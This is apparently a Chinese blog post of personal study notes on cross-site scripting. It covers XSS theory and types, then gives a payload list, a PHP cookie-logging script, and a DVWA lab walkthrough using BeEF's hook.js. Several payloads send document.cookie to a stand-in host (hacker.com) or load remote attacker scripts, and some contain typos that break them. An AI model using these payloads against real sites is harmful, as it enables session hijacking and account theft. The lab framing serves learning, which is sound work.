xss学习

        最近一直在反复练习之前学的一些漏洞,没学习新的漏洞,不能继续这样下去。因此也是选择踏入学习一下xss,简单理解了一些xss概念,具体怎么运用还没有做过类似的题,以后遇到的话会继续整理一下。这篇文章简单介绍了一下xss原理,和一些payload

从哔哩哔哩红蓝安全学习笔记:

1.xss简介

跨站脚本( cross site script )为了避免与样式css混淆,所以简称为xss。

xss是一种经常出现在web应用当中的计算机安全漏洞,也是web中最主流攻击方式。那么什么是xss呢?

        xss是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加了一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码,从而盗取用户资料利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

xss的攻击危害包括:

        1. 盗取各类用户账号,如机器登陆账号,用户网银账号、各类管理员账号;

        2. 控制企业数据,包括读取、篡改、添加,删除企业敏感数据的能力;

        3. 盗窃企业重要的具有商业价值的资料;

        4. 非法转账;

        5. 强制发送电子邮件;

        6. 网站挂🐎;

        7. 控制受害者机器向其他网站发起攻击。

2.原理分析

反射型xss原理

 存储型xss原理

 xss主要原因:

过于信任客户端所提交的数据!

xss主要分类:

        反射型xss攻击( Reflected XSS ),又称为非持久型跨站点脚本攻击,它是最常见类型的xss。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性xss包含一个带xss攻击向量的链接(即每次攻击需要用户的点击)。

        存储型xss攻击( Stored XSS ),又称为持久型跨站点脚本攻击,他一般发生在xss攻击向量(一般指xss攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的xss比非持久型xss攻击危害更大。因为每当用户打开页面时,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受过攻击。

3.构造XSS脚本

3.1 常用html标签

<iframe>        iframe  元素会创建包含另外一个文档的内联框架( 即行内框架 )

<textarea>      <textarea> 标签定义多行的文本输入控件

<img>             img 元素向网页中嵌入一幅图像

<script>          <script> 标签用于定义客户端脚本,比如 JavaScript .

                        script元素既可以包含脚本语句,也可以通过src属性指向外部脚本.

                        必须的 type 属性规定脚本的 MIME 类型.

                        JavaScript 的常见应用时图像操作、表单验证以及动态内容更新.

3.2 常用JavaScript方法

alert                alert() 方法用于显示带有一条指定消息和一个 确认 按钮的警告框

window.location        window.location 对象用于获得当前页面的地址(URL),并把浏览器重定

                                  向到新的页面

location.href                返回当前显示的文档的完整 URL

onload                        一张页面或一幅图像完成加载

onsubmit                    确认按钮被点击

onerror                       在加载文档或图像时发生错误

3.3 构造xss脚本

弹框警告

        此脚本实现弹框显示,一般作为漏洞测试或演示使用,类似sql注入漏洞里的单引号',一旦脚本被执行,也就意味着后端服务器没有对特殊字符进行过滤<>/' 这样就可以证明,这个页面位置存在了XSS漏洞。

<script>alert('xss')</script>

<script>alert(document.cookie)</script>

页面嵌套

<iframe src=http://www.baidu.com width=300 height=300></iframe>

<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

<iframe src=博客地址 width=300 height=300></iframe>即嵌入了自己的博客 。如果width=0,height=0,border=0,嵌入仍然成功但是你看不见.

页面重定向

<script>window.loaction="http://www.baidu.com"</script>

<script>location.href="http://www.baidu.com"</script>

输入即跳转到www.baidu.com页面

弹框警告并重定向

<script>alert("请移步到我们的新站");location.href="http://www.baidu.com"</script>

<script>alert('xss');location.href="http://www.baidu.com"</script>

访问恶意代码

<script src="http://hacker.com/xss.js"></script>

<script src="http://BeEF_IP:3000/hook.js"></script> #结合BeEF收集用户的cookie

巧用图片标签

script太明显的脚本了。

<img src="#" οnerrοr=alert('xss')>

<img src="javascript:alert('xss');">

<img src="http://BeEF_IP:3000/hook.js"></img>

绕开过滤的脚本

大小写:<ScrIpt>alert('xss')</SCRipt>

字符编码 采用url、base64等编码

<a

href=""></a>

收集用户cookie

打开新窗口并且采用本地cookie访问目标网页。

<script>window.open("http://hacker.com/cookie.php?cookie="+document.cookie)</script>

<scrpit>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>

<img src="http://www.hacker.com/cookie.php?cookie="+document.cookie)</img>

<iframe src=" 'http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>

<scrpit>new Image().src=" 'http://www.hacker.com/cookie.php?cookie='+document.cookie";

img.width=0;

img.height=0;

</script>

4.反射性xss

4.1 安全级别

传入<script>alert("xss")</script>,会弹出一个xss弹框。

这个弹框是无害的,但如果做的是别的事情,就有害了。

5. 存储型xss

存储型XSS(持久型xss)即攻击者将带有XSS的链接放在网页的某个页面,例如评论框等;用户访问XSS链接并执行,由于存储型XSS能够被攻击所有访问此页面的用户,所以危害非常大。

输入留言name:1111

Message : <script>alert("xss")</script>

之后这个网站就被挂了一个非常简单的🐎,之后任何人访问这个网站,都会执行这个xss脚本

这个链接被发送给其他人之后,他们一点击,就会执行这个脚本。被人引诱点击之后就会上当了。

5.1 手工

root@kali:~# vim /var/www/html/cookie_rec.php

<?php

        $cookie = $_GET['cookie'];

        $log = fopen("cookie.txt","a");

        fwrite($log,$cookie,"\n");

        fclose($log);

?>

root@kali:~# chown -R www-data.com /var/www/

通过渗透机植入XSS代码:

<script>window.open("http://***.***.***.***/cookie_rec.php?cookie="+document.cookie)</script>

注:***.***.***.***为 kali Linux IP

注:先清除之前植入的XSS代码

6. Dom型

7. 自动化XSS

7.1 BeFF简介

Browser Exploitation Framework(BeFF)

BeFF 是目前最大的浏览器开源渗透测试框架,通过XSS漏洞配和JS脚本和Metasploit进行渗透;

基于Ruby语言编写,支持图形化界面,操作简单;

http://beefproject.com/

信息收集:

1. 网络发现

2. 主机信息

3. Cookie获取

4. 会话劫持

5. 键盘记录

6. 插件信息

持久化控制:

1. 确认弹框

2.

6.2 BeFF基础

kali下载BeFF:

        sudo apt-get install beef-xss

运行beef-xss

        beef-xss

输入设置的密码即可。(不可见)

启动Apache和BeFF:

root@kali:~#  service apache2 start

详细使用信息:浏览器攻击框架BeEF Part 1 - FreeBuf网络安全行业门户

6.3 信息收集

在dvwa靶场测试:

发现前端对长度进行限制,这是没用的,我们用查看器定位到代码所在位置,更改maxlength

有个关键的脚本

<script src="http://127.0.0.1:3000/hook.js"></script>注意这个127.0.0.1ip地址要改为自己本机的ip地址,比如192.168.1.1,就是你beef配置的ip

例如写入:<script src="http://192.168.***.***:3000/hook.js"></script>

空白,代码被执行,查看beef页面肉鸡是否上线

上线成功

 之后我们可以用commands那,来执行命令获取信息。

命令颜色:

绿色:对目标主机生效并且不可见(不会被发现);

橙色:对目标主机生效但可能可见(可能会被发现);

灰色:对目标主机未必生效(可以验证一下)

红色:对目标主机不生效

 例如getcookie命令

execute之后,获得了对方的cookie

Link Rewtite命令

 命令被执行,发现我们每个按钮左下角链接都换成了我博客的地址,随意点一个都会重定向到我的博客。

 Link Rewrite()命令:

这个比上一个更高级一些。

 左下角显示正常,但是当你点击时,会重定向到我的博客的url。

还有好多功能,自己试一下就知到了。社会工程学里也有好多有趣的

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值